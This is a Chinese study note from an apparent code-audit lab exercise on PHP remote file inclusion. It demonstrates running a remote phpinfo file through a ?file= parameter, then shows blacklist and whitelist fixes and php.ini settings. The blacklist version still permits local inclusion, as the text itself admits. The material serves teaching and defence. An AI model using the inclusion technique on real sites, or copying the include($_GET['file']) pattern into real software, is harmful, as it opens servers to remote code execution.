当你的才华
还撑不起你的野心时
那你就应该静下心来学习
代码审计学习线上实验,都是CE一边实操,一边整理的笔记,方便以后翻看时,可快速查阅。
目录
一、远程文件包含漏洞
如果目标主机的allow_url_fopen
和allow_url_include
是激活的(前者默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的文件来运行。(同样不需要后缀名是php的格式,只要内容是代码就可以)
首先,先把去将appache2下把php/ini文件 里的allow_url_include设置为allow_url_include = On,
配置完成后,重启一下apache2服务
先将info.txt
文件上传至n另一台服务器,url:http://labfile.oss.aliyuncs.com/courses/895/info.txt
info.txt:
-
<?php
-
phpinfo();
-
?>
继续在之前的url输入?file=http://labfile.oss.aliyuncs.com/courses/895/info.txt
可以看到info.txt
中的代码被成功执行.
二、文件包含漏洞防御
文件包含漏洞的防御主要是用代码和配置两方面入手。 从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。 至于防御主要有两种方法:
- 采用
白名单
的方式将允许包含的文件列出来,只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。 - 采用
白名单
的方式将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。
接下来我们来尝试对fileinclude.php进行修改:
代码层面防御:
黑名单验证:
使用黑名单过滤,修改之后的代码 fileinclude_black.php:
-
<?php
-
-
if (
isset($_GET[
'file'])) {
-
$file = $_GET[
'file'];
-
$file = str_replace(
"http:",
"", $file);
-
$file = str_replace(
"https:",
"", $file);
-
include($file);
-
}
-
else{
-
echo
"使用 file 参数包含文件";
-
}
-
?>
-
以上代码通过str_replace()
函数将用户传来的数据进行了替换,主要是将http:
和https://
都替换成了空,这种替换主要是针对远程文件包含。
在浏览器中打开修改后的页面类似(具体怎么输入看你自己的配置):http://localhost/fileinclude/fileinclude_black.php
,输入?file=file.txt
:
本地文件包含依然存在。 再输入?file=http://labfile.oss.aliyuncs.com/courses/895/info.txt
:
远程文件包含已经成功过滤掉
白名单验证:
使用白名单过滤,修改之后的代码 fileinclude_white.php:
-
<?php
-
-
if (
isset($_GET[
'file'])) {
-
$file = $_GET[
'file'];
-
if($file !=
"right.php")
-
{
-
echo
"错误!不能加载此文件!";
-
exit;
-
}
-
include($file);
-
}
-
else{
-
echo
"使用 file 参数包含文件";
-
}
-
?>
-
-
以上代码通过白名单的方式对用户传来的数据进行验证,只允许包含right.php
文件,如果不是right.php
则打印错误。
在浏览器中打开修改后的页面:http://localhost/codeaudit/fileinclude/fileinclude_white.php
,输入?file=file.txt
:
显示加载错误。 再输入?file=right.php
:
显示加载成功。 当然关于白名单和黑名单验证的实现方式有很多,这里只是起到一个抛砖引玉的作用,有兴趣的同学可以自行做深入学习。
三、配置层面防御
通过在php.ini
中设置allow_url_fopen = off
、allow_url_include = off
,可以有效的防御远程文件包含漏洞
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重